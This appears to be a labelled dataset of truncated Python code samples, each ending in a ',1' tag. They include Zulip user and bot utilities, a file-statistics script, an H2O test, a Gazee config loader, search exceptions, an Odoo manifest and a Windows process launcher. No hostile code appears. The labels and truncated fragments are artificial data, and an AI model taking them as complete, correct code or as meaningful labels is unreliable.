format!"")) return full_name # NOTE: We don't try to absolutely prevent 2 bots from having the same # name (e.g. you can get there by reactivating a deactivated bot after # making a new bot with the same name). This is just a check designed # to make it unlikely to happen by accident. def check_bot_name_available(realm_id: int, full_name: str) -> None: dup_exists = UserProfile.objects.filter( realm_id=realm_id, full_name=full_name.strip(), is_active=True, ).exists() if dup_exists: raise JsonableError(_(""Name is already in use!"")) def check_short_name(short_name_raw: str) -> str: short_name = short_name_raw.strip() if len(short_name) == 0: raise JsonableError(_(""Bad name or username"")) return short_name def check_valid_bot_config(bot_type: int, service_name: str, config_data: Dict[str, str]) -> None: if bot_type == UserProfile.INCOMING_WEBHOOK_BOT: from zerver.lib.integrations import WEBHOOK_INTEGRATIONS config_options = None for integration in WEBHOOK_INTEGRATIONS: if integration.name == service_name: # key: validator config_options = {c[1]: c[2] for c in integration.config_options} break if not config_options: raise JsonableError(_(""Invalid integration '{}'."").format(service_name)) missing_keys = set(config_options.keys()) - set(config_data.keys()) if missing_keys: raise JsonableError( _(""Missing configuration parameters: {}"").format( missing_keys, ) ) for key, validator in config_options.items(): value = config_data[key] error = validator(key, value) if error: raise JsonableError(_(""Invalid {} value {} ({})"").format(key, value, error)) elif bot_type == UserProfile.EMBEDDED_BOT: try: from zerver.lib.bot_lib import get_bot_handler bot_handler = get_bot_handler(service_name) if hasattr(bot_handler, ""validate_config""): bot_handler.validate_config(config_data) except ConfigValidationError: # The exception provides a specific error message, but that # message is not tagged translatable, because it is # triggered in the external zulip_bots package. # TODO: Think of some clever way to provide a more specific # error message. raise JsonableError(_(""Invalid configuration data!"")) # Adds an outgoing webhook or embedded bot service. def add_service( name: str, user_profile: UserProfile, base_url: Optional[str] = None, interface: Optional[int] = None, token: Optional[str] = None, ) -> None: Service.objects.create( name=name, user_profile=user_profile, base_url=base_url, interface=interface, token=token ) def check_bot_creation_policy(user_profile: UserProfile, bot_type: int) -> None: # Realm administrators can always add bot if user_profile.is_realm_admin: return if user_profile.realm.bot_creation_policy == Realm.BOT_CREATION_EVERYONE: return if user_profile.realm.bot_creation_policy == Realm.BOT_CREATION_ADMINS_ONLY: raise OrganizationAdministratorRequired() if ( user_profile.realm.bot_creation_policy == Realm.BOT_CREATION_LIMIT_GENERIC_BOTS and bot_type == UserProfile.DEFAULT_BOT ): raise OrganizationAdministratorRequired() def check_valid_bot_type(user_profile: UserProfile, bot_type: int) -> None: if bot_type not in user_profile.allowed_bot_types: raise JsonableError(_(""Invalid bot type"")) def check_valid_interface_type(interface_type: Optional[int]) -> None: if interface_type not in Service.ALLOWED_INTERFACE_TYPES: raise JsonableError(_(""Invalid interface type"")) def is_administrator_role(role: int) -> bool: return role in {UserProfile.ROLE_REALM_ADMINISTRATOR, UserProfile.ROLE_REALM_OWNER} def bulk_get_users( emails: List[str], realm: Optional[Realm], base_query: ""QuerySet[UserProfile]"" = None ) -> Dict[str, UserProfile]: if base_query is None: assert realm is not None query = UserProfile.objects.filter(realm=realm, is_active=True) realm_id = realm.id else: # WARNING: Currently, this code path only really supports one # version of `base_query` being used (because otherwise, # they'll share the cache, which can screw up the filtering). # If you're using this flow, you'll need to re-do any filters # in base_query in the code itself; base_query is just a perf # optimization. query = base_query realm_id = 0 def fetch_users_by_email(emails: List[str]) -> List[UserProfile]: # This should be just # # UserProfile.objects.select_related(""realm"").filter(email__iexact__in=emails, # realm=realm) # # But chaining __in and __iexact doesn't work with Django's # ORM, so we have the following hack to construct the relevant where clause where_clause = ""upper(zerver_userprofile.email::text) IN (SELECT upper(email) FROM unnest(%s) AS email)"" return query.select_related(""realm"").extra(where=[where_clause], params=(emails,)) def user_to_email(user_profile: UserProfile) -> str: return user_profile.email.lower() return bulk_cached_fetch( # Use a separate cache key to protect us from conflicts with # the get_user cache. lambda email: ""bulk_get_users:"" + user_profile_cache_key_id(email, realm_id), fetch_users_by_email, [email.lower() for email in emails], id_fetcher=user_to_email, ) def get_user_id(user: UserProfile) -> int: return user.id def user_ids_to_users(user_ids: Sequence[int], realm: Realm) -> List[UserProfile]: # TODO: Consider adding a flag to control whether deactivated # users should be included. def fetch_users_by_id(user_ids: List[int]) -> List[UserProfile]: return list(UserProfile.objects.filter(id__in=user_ids).select_related()) user_profiles_by_id: Dict[int, UserProfile] = bulk_cached_fetch( cache_key_function=user_profile_by_id_cache_key, query_function=fetch_users_by_id, object_ids=user_ids, id_fetcher=get_user_id, ) found_user_ids = user_profiles_by_id.keys() missed_user_ids = [user_id for user_id in user_ids if user_id not in found_user_ids] if missed_user_ids: raise JsonableError(_(""Invalid user ID: {}"").format(missed_user_ids[0])) user_profiles = list(user_profiles_by_id.values()) for user_profile in user_profiles: if user_profile.realm != realm: raise JsonableError(_(""Invalid user ID: {}"").format(user_profile.id)) return user_profiles def access_bot_by_id(user_profile: UserProfile, user_id: int) -> UserProfile: try: target = get_user_profile_by_id_in_realm(user_id, user_profile.realm) except UserProfile.DoesNotExist: raise JsonableError(_(""No such bot"")) if not target.is_bot: raise JsonableError(_(""No such bot"")) if not user_profile.can_admin_user(target): raise JsonableError(_(""Insufficient permission"")) return target def access_user_by_id( user_profile: UserProfile, target_user_id: int, *, allow_deactivated: bool = False, allow_bots: bool = False, for_admin: bool, ) -> UserProfile: """"""Master function for accessing another user by ID in API code; verifies the user ID is in the same realm, and if requested checks for administrative privileges, with flags for various special cases. """""" try: target = get_user_profile_by_id_in_realm(target_user_id, user_profile.realm) except UserProfile.DoesNotExist: raise JsonableError(_(""No such user"")) if target.is_bot and not allow_bots: raise JsonableError(_(""No such user"")) if not target.is_active and not allow_deactivated: raise JsonableError(_(""User is deactivated"")) if not for_admin: # Administrative access is not required just to read a user. return target if not user_profile.can_admin_user(target): raise JsonableError(_(""Insufficient permission"")) return target class Accounts(TypedDict): realm_name: str realm_id: int full_name: str avatar: Optional[str] def get_accounts_for_email(email: str) -> List[Accounts]: profiles = ( UserProfile.objects.select_related(""realm"") .filter( delivery_email__iexact=email.strip(), is_active=True, realm__deactivated=False, is_bot=False, ) .order_by(""date_joined"") ) accounts: List[Accounts] = [] for profile in profiles: accounts.append( dict( realm_name=profile.realm.name, realm_id=profile.realm.id, full_name=profile.full_name, avatar=avatar_url(profile), ) ) return accounts def get_api_key(user_profile: UserProfile) -> str: return user_profile.api_key def get_all_api_keys(user_profile: UserProfile) -> List[str]: # Users can only have one API key for now return [user_profile.api_key] def validate_user_custom_profile_field( realm_id: int, field: CustomProfileField, value: Union[int, str, List[int]] ) -> Union[int, str, List[int]]: validators = CustomProfileField.FIELD_VALIDATORS field_type = field.field_type var_name = f""{field.name}"" if field_type in validators: validator = validators[field_type] return validator(var_name, value) elif field_type == CustomProfileField.SELECT: choice_field_validator = CustomProfileField.SELECT_FIELD_VALIDATORS[field_type] field_data = field.field_data # Put an assertion so that mypy doesn't complain. assert field_data is not None return choice_field_validator(var_name, field_data, value) elif field_type == CustomProfileField.USER: user_field_validator = CustomProfileField.USER_FIELD_VALIDATORS[field_type] return user_field_validator(realm_id, value, False) else: raise AssertionError(""Invalid field type"") def validate_user_custom_profile_data( realm_id: int, profile_data: List[Dict[str, Union[int, str, List[int]]]] ) -> None: # This function validate all custom field values according to their field type. for item in profile_data: field_id = item[""id""] try: field = CustomProfileField.objects.get(id=field_id) except CustomProfileField.DoesNotExist: raise JsonableError(_(""Field id {id} not found."").format(id=field_id)) try: validate_user_custom_profile_field(realm_id, field, item[""value""]) except ValidationError as error: raise JsonableError(error.message) def can_access_delivery_email(user_profile: UserProfile) -> bool: realm = user_profile.realm if realm.email_address_visibility == Realm.EMAIL_ADDRESS_VISIBILITY_ADMINS: return user_profile.is_realm_admin if realm.email_address_visibility == Realm.EMAIL_ADDRESS_VISIBILITY_MODERATORS: return user_profile.is_realm_admin or user_profile.is_moderator return False def format_user_row( realm: Realm, acting_user: Optional[UserProfile], row: Dict[str, Any], client_gravatar: bool, user_avatar_url_field_optional: bool, custom_profile_field_data: Optional[Dict[str, Any]] = None, ) -> Dict[str, Any]: """"""Formats a user row returned by a database fetch using .values(*realm_user_dict_fields) into a dictionary representation of that user for API delivery to clients. The acting_user argument is used for permissions checks. """""" is_admin = is_administrator_role(row[""role""]) is_owner = row[""role""] == UserProfile.ROLE_REALM_OWNER is_guest = row[""role""] == UserProfile.ROLE_GUEST is_bot = row[""is_bot""] result = dict( email=row[""email""], user_id=row[""id""], avatar_version=row[""avatar_version""], is_admin=is_admin, is_owner=is_owner, is_guest=is_guest, is_billing_admin=row[""is_billing_admin""], role=row[""role""], is_bot=is_bot, full_name=row[""full_name""], timezone=canonicalize_timezone(row[""timezone""]), is_active=row[""is_active""], date_joined=row[""date_joined""].isoformat(), ) # Zulip clients that support using `GET /avatar/{user_id}` as a # fallback if we didn't send an avatar URL in the user object pass # user_avatar_url_field_optional in client_capabilities. # # This is a major network performance optimization for # organizations with 10,000s of users where we would otherwise # send avatar URLs in the payload (either because most users have # uploaded avatars or because EMAIL_ADDRESS_VISIBILITY_ADMINS # prevents the older client_gravatar optimization from helping). # The performance impact is large largely because the hashes in # avatar URLs structurally cannot compress well. # # The user_avatar_url_field_optional gives the server sole # discretion in deciding for which users we want to send the # avatar URL (Which saves clients an RTT at the cost of some # bandwidth). At present, the server looks at `long_term_idle` to # decide which users to include avatars for, piggy-backing on a # different optimization for organizations with 10,000s of users. include_avatar_url = not user_avatar_url_field_optional or not row[""long_term_idle""] if include_avatar_url: result[""avatar_url""] = get_avatar_field( user_id=row[""id""], realm_id=realm.id, email=row[""delivery_email""], avatar_source=row[""avatar_source""], avatar_version=row[""avatar_version""], medium=False, client_gravatar=client_gravatar, ) if acting_user is not None and can_access_delivery_email(acting_user): result[""delivery_email""] = row[""delivery_email""] if is_bot: result[""bot_type""] = row[""bot_type""] if row[""email""] in settings.CROSS_REALM_BOT_EMAILS: result[""is_cross_realm_bot""] = True # Note that bot_owner_id can be None with legacy data. result[""bot_owner_id""] = row[""bot_owner_id""] elif custom_profile_field_data is not None: result[""profile_data""] = custom_profile_field_data return result def user_profile_to_user_row(user_profile: UserProfile) -> Dict[str, Any]: # What we're trying to do is simulate the user_profile having been # fetched from a QuerySet using `.values(*realm_user_dict_fields)` # even though we fetched UserProfile objects. This is messier # than it seems. # # What we'd like to do is just call model_to_dict(user, # fields=realm_user_dict_fields). The problem with this is # that model_to_dict has a different convention than # `.values()` in its handling of foreign keys, naming them as # e.g. `bot_owner`, not `bot_owner_id`; we work around that # here. # # This could be potentially simplified in the future by # changing realm_user_dict_fields to name the bot owner with # the less readable `bot_owner` (instead of `bot_owner_id`). user_row = model_to_dict(user_profile, fields=[*realm_user_dict_fields, ""bot_owner""]) user_row[""bot_owner_id""] = user_row[""bot_owner""] del user_row[""bot_owner""] return user_row def get_cross_realm_dicts() -> List[Dict[str, Any]]: users = bulk_get_users( list(settings.CROSS_REALM_BOT_EMAILS), None, base_query=UserProfile.objects.filter(realm__string_id=settings.SYSTEM_BOT_REALM), ).values() result = [] for user in users: # Important: We filter here, is addition to in # `base_query`, because of how bulk_get_users shares its # cache with other UserProfile caches. if user.realm.string_id != settings.SYSTEM_BOT_REALM: # nocoverage continue user_row = user_profile_to_user_row(user) # Because we want to avoid clients becing exposed to the # implementation detail that these bots are self-owned, we # just set bot_owner_id=None. user_row[""bot_owner_id""] = None result.append( format_user_row( user.realm, acting_user=user, row=user_row, client_gravatar=False, user_avatar_url_field_optional=False, custom_profile_field_data=None, ) ) return result def get_custom_profile_field_values( custom_profile_field_values: List[CustomProfileFieldValue], ) -> Dict[int, Dict[str, Any]]: profiles_by_user_id: Dict[int, Dict[str, Any]] = defaultdict(dict) for profile_field in custom_profile_field_values: user_id = profile_field.user_profile_id if profile_field.field.is_renderable(): profiles_by_user_id[user_id][str(profile_field.field_id)] = { ""value"": profile_field.value, ""rendered_value"": profile_field.rendered_value, } else: profiles_by_user_id[user_id][str(profile_field.field_id)] = { ""value"": profile_field.value, } return profiles_by_user_id def get_raw_user_data( realm: Realm, acting_user: Optional[UserProfile], *, target_user: Optional[UserProfile] = None, client_gravatar: bool, user_avatar_url_field_optional: bool, include_custom_profile_fields: bool = True, ) -> Dict[int, Dict[str, str]]: """"""Fetches data about the target user(s) appropriate for sending to acting_user via the standard format for the Zulip API. If target_user is None, we fetch all users in the realm. """""" profiles_by_user_id = None custom_profile_field_data = None # target_user is an optional parameter which is passed when user data of a specific user # is required. It is 'None' otherwise. if target_user is not None: user_dicts = [user_profile_to_user_row(target_user)] else: user_dicts = get_realm_user_dicts(realm.id) if include_custom_profile_fields: base_query = CustomProfileFieldValue.objects.select_related(""field"") # TODO: Consider optimizing this query away with caching. if target_user is not None: custom_profile_field_values = base_query.filter(user_profile=target_user) else: custom_profile_field_values = base_query.filter(field__realm_id=realm.id) profiles_by_user_id = get_custom_profile_field_values(custom_profile_field_values) result = {} for row in user_dicts: if profiles_by_user_id is not None: custom_profile_field_data = profiles_by_user_id.get(row[""id""], {}) result[row[""id""]] = format_user_row( realm, acting_user=acting_user, row=row, client_gravatar=client_gravatar, user_avatar_url_field_optional=user_avatar_url_field_optional, custom_profile_field_data=custom_profile_field_data, ) return result ",1 " def statargs(self, args): for arg in args: if os.path.isdir(arg): self.statdir(arg) elif os.path.isfile(arg): self.statfile(arg) else: sys.stderr.write(""Can't find %s\n"" % file) self.addstats("""", ""unknown"", 1) def statdir(self, dir): self.addstats("""", ""dirs"", 1) try: names = os.listdir(dir) except os.error, err: sys.stderr.write(""Can't list %s: %s\n"" % (file, err)) self.addstats(ext, ""unlistable"", 1) return names.sort() for name in names: if name.startswith("".#""): continue # Skip CVS temp files if name.endswith(""~""): continue# Skip Emacs backup files full = os.path.join(dir, name) if os.path.islink(full): self.addstats("""", ""links"", 1) elif os.path.isdir(full): self.statdir(full) else: self.statfile(full) def statfile(self, file): head, ext = os.path.splitext(file) head, base = os.path.split(file) if ext == base: ext = """" # E.g. .cvsignore is deemed not to have an extension ext = os.path.normcase(ext) if not ext: ext = """" self.addstats(ext, ""files"", 1) try: f = open(file, ""rb"") except IOError, err: sys.stderr.write(""Can't open %s: %s\n"" % (file, err)) self.addstats(ext, ""unopenable"", 1) return data = f.read() f.close() self.addstats(ext, ""bytes"", len(data)) if '\0' in data: self.addstats(ext, ""binary"", 1) return if not data: self.addstats(ext, ""empty"", 1) #self.addstats(ext, ""chars"", len(data)) lines = data.splitlines() self.addstats(ext, ""lines"", len(lines)) del lines words = data.split() self.addstats(ext, ""words"", len(words)) def addstats(self, ext, key, n): d = self.stats.setdefault(ext, {}) d[key] = d.get(key, 0) + n def report(self): exts = self.stats.keys() exts.sort() # Get the column keys columns = {} for ext in exts: columns.update(self.stats[ext]) cols = columns.keys() cols.sort() colwidth = {} colwidth[""ext""] = max([len(ext) for ext in exts]) minwidth = 6 self.stats[""TOTAL""] = {} for col in cols: total = 0 cw = max(minwidth, len(col)) for ext in exts: value = self.stats[ext].get(col) if value is None: w = 0 else: w = len(""%d"" % value) total += value cw = max(cw, w) cw = max(cw, len(str(total))) colwidth[col] = cw self.stats[""TOTAL""][col] = total exts.append(""TOTAL"") for ext in exts: self.stats[ext][""ext""] = ext cols.insert(0, ""ext"") def printheader(): for col in cols: print ""%*s"" % (colwidth[col], col), print printheader() for ext in exts: for col in cols: value = self.stats[ext].get(col, """") print ""%*s"" % (colwidth[col], value), print printheader() # Another header at the bottom def main(): args = sys.argv[1:] if not args: args = [os.curdir] s = Stats() s.statargs(args) s.report() if __name__ == ""__main__"": main() ",1 "t ""Read in prostate data."" hdf = h2o.upload_file(h2o.locate(""smalldata/prostate/prostate_complete.csv.zip"")) print ""Testing for family: TWEEDIE"" print ""Set variables for h2o."" y = ""CAPSULE"" x = [""AGE"",""RACE"",""DCAPS"",""PSA"",""VOL"",""DPROS"",""GLEASON""] print ""Create models with canonical link: TWEEDIE"" model_h2o_tweedie = h2o.glm(x=hdf[x], y=hdf[y], family=""tweedie"", link=""tweedie"", alpha=[0.5], Lambda = [0]) print ""Compare model deviances for link function tweedie (using precomputed values from R)"" deviance_h2o_tweedie = model_h2o_tweedie.residual_deviance() / model_h2o_tweedie.null_deviance() assert 0.721452 - deviance_h2o_tweedie <= 0.01, ""h2o's residual/null deviance is more than 0.01 lower than R's. h2o: "" \ ""{0}, r: {1}"".format(deviance_h2o_tweedie, 0.721452) if __name__ == ""__main__"": h2o.run_test(sys.argv, link_functions_tweedie_basic) ",1 " get token data username = userToken.username # Read packet data packetData = clientPackets.setAwayMessage(packetData) # Set token away message userToken.awayMessage = packetData[""awayMessage""] # Send private message from fokabot if packetData[""awayMessage""] == """": fokaMessage = ""Your away message has been reset"" else: fokaMessage = ""Your away message is now: {}"".format(packetData[""awayMessage""]) userToken.enqueue(serverPackets.sendMessage(""FokaBot"", username, fokaMessage)) log.info(""{} has changed their away message to: {}"".format(username, packetData[""awayMessage""])) ",1 " 888ooo888 # `88bod8P' d8( 888 .d8P' .P 888 .o 888 .o # `8oooooo. `Y888""""8o d8888888P `Y8bod8P' `Y8bod8P' # d"" YD # ""Y88888P' # # config class - btx # import sys import os import configparser import logging log = logging.getLogger(__name__) class gcfg(object): datapath = None cfgpath = None defaults = {'bind_address': '127.0.0.1', 'port': '4242', 'data_dir': '~/.gazee', 'temp_dir': '', 'comic_path': '', 'comic_scan_interval': '60', 'comics_per_page': '15', 'thumb_maxwidth': '300', 'thumb_maxheight': '400', 'image_script': '0', 'mylar_db': '', 'ssl_key': '', 'ssl_cert': '', 'web_text_color': 'ffffff', 'main_color': '757575', 'accent_color': 'bdbdbd'} def __init__(self, data_override=None): self.cfg = configparser.ConfigParser() self.datapath = data_override self.logpath = None self.dbpath = None self.sessionspath = None print(""Created a new gcfg..."") if self.datapath is not None: self.datapath = os.path.realpath(os.path.expanduser(self.datapath)) if self.datapath is None and data_override is not None: log.error(""Somehow the datapath is now None."") self.configRead() log.debug(""Initialized configation... in %s"", __name__) def create_init_dirs(self, data_dir): ''' Sets up the data_dir plus the two paths that aren't configurable, and are relative to the data_dir - the log_dir and db_dir ''' if self.datapath is not None and data_dir is None: log.error(""data_dir is None while datapath is not."") self.datapath = data_dir self.logpath = os.path.join(self.datapath, ""logs"") self.dbpath = os.path.join(self.datapath, ""db"") self.sessionspath = os.path.join(self.datapath, ""sessions"") if not os.path.exists(self.logpath): os.makedirs(self.logpath, 0o700) if not os.path.exists(self.dbpath): os.makedirs(self.dbpath, 0o700) if not os.path.exists(self.sessionspath): os.makedirs(self.sessionspath, 0o700) def find_config(self): ''' Looks for where the data dir is located. Once it finds the dir, it calls create_ ''' dirfound = None firstdir = None cfgfound = None # print(""Looking for config in find_config() - datapath: %s"" % (self.datapath)) if self.datapath is not None: if not os.path.exists(self.datapath): msg = 'Path %s does not exist.\n\nDo you wish to create it? [y/n]: ' % self.datapath if self.get_yn(msg): try: os.makedirs(self.datapath) except PermissionError: print(""You don't have the permissions to create that path.\nExiting."") sys.exit(1) else: print(""Exiting."") sys.exit(1) firstdir = dirfound = self.datapath cfile = os.path.join(dirfound, ""app.ini"") if os.path.exists(cfile): cfgfound = cfile else: cfgfound = None else: dirs = ['data', '~/.gazee', '../data'] for d in dirs: ddir = os.path.realpath(os.path.expanduser(d)) cfile = os.path.join(ddir, ""app.ini"") if os.path.exists(ddir) and os.path.isdir(ddir): if firstdir is None: firstdir = ddir dirfound = ddir if os.path.exists(cfile): cfgfound = cfile break if dirfound is None: log.error(""Data directory not found!"") return False dirfound = firstdir self.datapath = dirfound self.create_init_dirs(dirfound) if cfgfound is not None: log.debug('cfgfound=%s', cfgfound) self.cfgpath = cfgfound else: cfile = os.path.join(self.datapath, 'app.ini') self.cfg['GLOBAL'] = {} self.cfg['DEFAULT'] = self.defaults self.cfg.set('DEFAULT', 'data_dir', self.datapath) self.cfg.set('DEFAULT', 'image_script', self.defaults['image_script']) cfgfound = cfile self.cfgpath = cfgfound self.configWrite() self.cfg.set('GLOBAL', 'data_dir', self.datapath) self.cfg.set('GLOBAL', 'log_dir', self.logpath) self.cfg.set('GLOBAL', 'db_dir', self.dbpath) self.cfg.set('GLOBAL', 'sessions_dir', self.sessionspath) return True def configWrite(self): ''' Write self.cfg to disk ''' with open(self.cfgpath, 'w') as configfile: self.cfg.write(configfile) return True def globalize(self): ''' Place the cfg variables into the self.config scope ''' mod = sys.modules[__name__] for vn in self.cfg['GLOBAL']: vn = vn.upper() v = self.cfg.get('GLOBAL', vn) if vn in ['PORT', 'COMIC_SCAN_INTERVAL', 'IMAGE_SCRIPT', 'COMICS_PER_PAGE', 'THUMB_MAXWIDTH', 'THUMB_MAXHEIGHT']: if v == '': v = self.cfg.get('DEFAULT', vn) v = int(v, 10) setattr(mod, vn, v) def get_yn(self, msg): while True: v = input(msg) if v.lower() in ['y', 'n']: break print(""\nInvalid response. Enter 'y' or 'n'."") return v.lower() == 'y' def get_path(self, name): p = None while True: prompt = 'Please enter %s: ' % name p = input(prompt) if not os.path.exists(p): msg = 'Path %s does not exist.\n\nDo you wish to create it? [y/n]: ' % p if self.get_yn(msg): try: os.makedirs(p) except PermissionError: print(""You don't have the permissions to create that path.\n"") continue else: print(""Not creating directory: %s"" % p) continue break return p def configRead(self): ''' Read the app.ini config file. ''' print(""configRead() being called..."") dp = self.find_config() if dp is None or self.datapath is None: log.error(""Failed to find_config()"") sys.exit(1) self.cfgpath = os.path.join(self.datapath, 'app.ini') self.cfg.read(self.cfgpath) for k in self.defaults.keys(): if k not in self.cfg['DEFAULT']: v = self.defaults[k] log.info(""Setting default[%s] = %s"", k, v) self.cfg['DEFAULT'][k] = v if 'GLOBAL' not in self.cfg: log.info(""Resetting GLOBAL cfg..."") self.cfg['GLOBAL'] = {} self.cfg.set('GLOBAL', 'data_dir', self.datapath) if 'comic_path' not in self.cfg['GLOBAL'] or self.cfg.get('GLOBAL', 'comic_path') in [None, '']: cpath = self.get_path(""your comic share's path"") if cpath is not None: self.cfg.set('GLOBAL', 'comic_path', cpath) if 'temp_dir' not in self.cfg['GLOBAL'] or self.cfg.get('GLOBAL', 'temp_dir') in [None, '']: tdir = self.get_path('a directory for temporary (large) file storage') if tdir is not None: self.cfg.set('GLOBAL', 'temp_dir', tdir) self.configWrite() self.cfg.set('GLOBAL', 'log_dir', self.logpath) self.cfg.set('GLOBAL', 'db_dir', self.dbpath) self.cfg.set('GLOBAL', 'sessions_dir', self.sessionspath) self.globalize() return True def updateCfg(self, newvals): ''' Update the self.cfg with newvals, which should be a dict in the form {'GLOBAL': {'varname': 'varval'}} ''' log.debug(newvals) for k in newvals['GLOBAL'].keys(): if not isinstance(newvals['GLOBAL'][k], str): if newvals['GLOBAL'][k] is None: newvals['GLOBAL'][k] = '' else: log.debug(""newvals['GLOBAL'][%s] is type %s"", k, str(type(newvals['GLOBAL'][k]))) self.cfg.set('GLOBAL', k, newvals['GLOBAL'][k]) self.configWrite() self.globalize() return True ",1 ")"", 400: ""Bad request sent to search API ({0})"", 401: ""Incorrect API Key ({0})"", 403: ""Correct API but request refused ({0})"", 404: ""Bad request sent to search API ({0})""} class SearchException(Exception): """""" Abstract class representing an ifind search exception. """""" def __init__(self, module, message): """""" SearchException constructor. Args: module (str): name of module/class that's raising exception message (str): exception message to be displayed Usage: raise SearchException(""Test"", ""this is an error"") """""" message = ""{0} - {1}"".format(module, message) Exception.__init__(self, message) class EngineConnectionException(SearchException): """""" Thrown when an Engine connectivity error occurs. Returns specific response message if status code specified. """""" def __init__(self, engine, message, code=None): """""" EngineException constructor. Args: engine (str): name of engine that's raising exception message (str): exception message to be displayed (ignored usually here) Kwargs: code (int): response status code of issued request Usage: raise EngineException(""Bing"", """", code=200) """""" self.message = message self.code = code if code: self.message = ERROR.get(code, ERROR['default']).format(self.code) SearchException.__init__(self, engine, self.message) class EngineLoadException(SearchException): """""" Thrown when an Engine can't be dynamically loaded. """""" pass class EngineAPIKeyException(SearchException): """""" Thrown when an Engine's API key hasn't been provided. """""" pass class QueryParamException(SearchException): """""" Thrown when a query parameters incompatible or missing. """""" pass class CacheConnectionException(SearchException): """""" Thrown when cache connectivity error occurs. """""" pass class InvalidQueryException(SearchException): """""" Thrown when an invalid query is passed to engine's search method. """""" pass class RateLimitException(SearchException): """""" Thrown when an engine's request rate limit has been exceeded. """""" pass",1 "ee software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # # { 'name': 'Capture picture with webcam', 'version': '1.0', 'category': 'Generic Modules/Human Resources', 'description': """""" TApplicant WebCam ========= Capture employee pictures with an attached web cam. """""", 'author': ""Michael Telahun Makonnen ,"" ""Odoo Community Association (OCA)"", 'website': 'http://miketelahun.wordpress.com', 'license': 'AGPL-3', 'depends': [ 'hr', 'web', 'trip' ], 'js': [ 'static/src/js/jquery.webcam.js', 'static/src/js/tapplicant_webcam.js', ], 'css': [ 'static/src/css/tapplicant_webcam.css', ], 'qweb': [ 'static/src/xml/tapplicant_webcam.xml', ], 'data': [ 'tapplicant_webcam_data.xml', 'tapplicant_webcam_view.xml', ], 'installable': True, 'active': False, } ",1 "to files run the command as another user limit the process's running time control the process window (location, size, window state, desktop) Works on Windows NT, 2000 & XP. Requires Mark Hammond's win32 extensions. This code is free for any purpose, with no warranty of any kind. -- John B. Dell'Aquila """""" import win32api, win32process, win32security import win32event, win32con, msvcrt, win32gui def logonUser(loginString): """""" Login as specified user and return handle. loginString: 'Domain\nUser\nPassword'; for local login use . or empty string as domain e.g. '.\nadministrator\nsecret_password' """""" domain, user, passwd = loginString.split('\n') return win32security.LogonUser( user, domain, passwd, win32con.LOGON32_LOGON_INTERACTIVE, win32con.LOGON32_PROVIDER_DEFAULT ) class Process: """""" A Windows process. """""" def __init__(self, cmd, login=None, hStdin=None, hStdout=None, hStderr=None, show=1, xy=None, xySize=None, desktop=None): """""" Create a Windows process. cmd: command to run login: run as user 'Domain\nUser\nPassword' hStdin, hStdout, hStderr: handles for process I/O; default is caller's stdin, stdout & stderr show: wShowWindow (0=SW_HIDE, 1=SW_NORMAL, ...) xy: window offset (x, y) of upper left corner in pixels xySize: window size (width, height) in pixels desktop: lpDesktop - name of desktop e.g. 'winsta0\\default' None = inherit current desktop '' = create new desktop if necessary User calling login requires additional privileges: Act as part of the operating system [not needed on Windows XP] Increase quotas Replace a process level token Login string must EITHER be an administrator's account (ordinary user can't access current desktop - see Microsoft Q165194) OR use desktop='' to run another desktop invisibly (may be very slow to startup & finalize). """""" si = win32process.STARTUPINFO() si.dwFlags = (win32con.STARTF_USESTDHANDLES ^ win32con.STARTF_USESHOWWINDOW) if hStdin is None: si.hStdInput = win32api.GetStdHandle(win32api.STD_INPUT_HANDLE) else: si.hStdInput = hStdin if hStdout is None: si.hStdOutput = win32api.GetStdHandle(win32api.STD_OUTPUT_HANDLE) else: si.hStdOutput = hStdout if hStderr is None: si.hStdError = win32api.GetStdHandle(win32api.STD_ERROR_HANDLE) else: si.hStdError = hStderr si.wShowWindow = show if xy is not None: si.dwX, si.dwY = xy si.dwFlags ^= win32con.STARTF_USEPOSITION if xySize is not None: si.dwXSize, si.dwYSize = xySize si.dwFlags ^= win32con.STARTF_USESIZE if desktop is not None: si.lpDesktop = desktop procArgs = (None, # appName cmd, # commandLine None, # processAttributes None, # threadAttributes 1, # bInheritHandles win32process.CREATE_NEW_CONSOLE, # dwCreationFlags None, # newEnvironment None, # currentDirectory si) # startupinfo if login is not None: hUser = logonUser(login) win32security.ImpersonateLoggedOnUser(hUser) procHandles = win32process.CreateProcessAsUser(hUser, *procArgs) win32security.RevertToSelf() else: procHandles = win32process.CreateProcess(*procArgs) self.hProcess, self.hThread, self.PId, self.TId = procHandles def wait(self, mSec=None): """""" Wait for process to finish or for specified number of milliseconds to elapse. """""" if mSec is None: mSec = win32event.INFINITE return win32event.WaitForSingleObject(self.hProcess, mSec) def kill(self, gracePeriod=5000): """""" Kill process. Try for an orderly shutdown via WM_CLOSE. If still running after gracePeriod (5 sec. default), terminate. """""" win32gui.EnumWindows(self.__close__, 0) if self.wait(gracePeriod) != win32event.WAIT_OBJECT_0: win32process.TerminateProcess(self.hProcess, 0) win32api.Sleep(100) # wait for resources to be released def __close__(self, hwnd, dummy): """""" EnumWindows callback - sends WM_CLOSE to any window owned by this process. """""" TId, PId = win32process.GetWindowThreadProcessId(hwnd) if PId == self.PId: win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) def exitCode(self): """""" Return process exit code. """""" return win32process.GetExitCodeProcess(self.hProcess) def run(cmd, mSec=None, stdin=None, stdout=None, stderr=None, **kw): """""" Run cmd as a child process and return exit code. mSec: terminate cmd after specified number of milliseconds stdin, stdout, stderr: file objects for child I/O (use hStdin etc. to attach handles instead of files); default is caller's stdin, stdout & stderr; kw: see Process.__init__ for more keyword options """""" if stdin is not None: kw['hStdin'] = msvcrt.get_osfhandle(stdin.fileno()) if stdout is not None: kw['hStdout'] = msvcrt.get_osfhandle(stdout.fileno()) if stderr is not None: kw['hStderr'] = msvcrt.get_osfhandle(stderr.fileno()) child = Process(cmd, **kw) if child.wait(mSec) != win32event.WAIT_OBJECT_0: child.kill() raise WindowsError, 'process timeout exceeded' return child.exitCode() if __name__ == '__main__': # Pipe commands to a shell and display the output in notepad print 'Testing winprocess.py...' import tempfile timeoutSeconds = 15 cmdString = """"""\ REM Test of winprocess.py piping commands to a shell.\r REM This window will close in %d seconds.\r vol\r net user\r _this_is_a_test_of_stderr_\r """""" % timeoutSeconds cmd, out = tempfile.TemporaryFile(), tempfile.TemporaryFile() 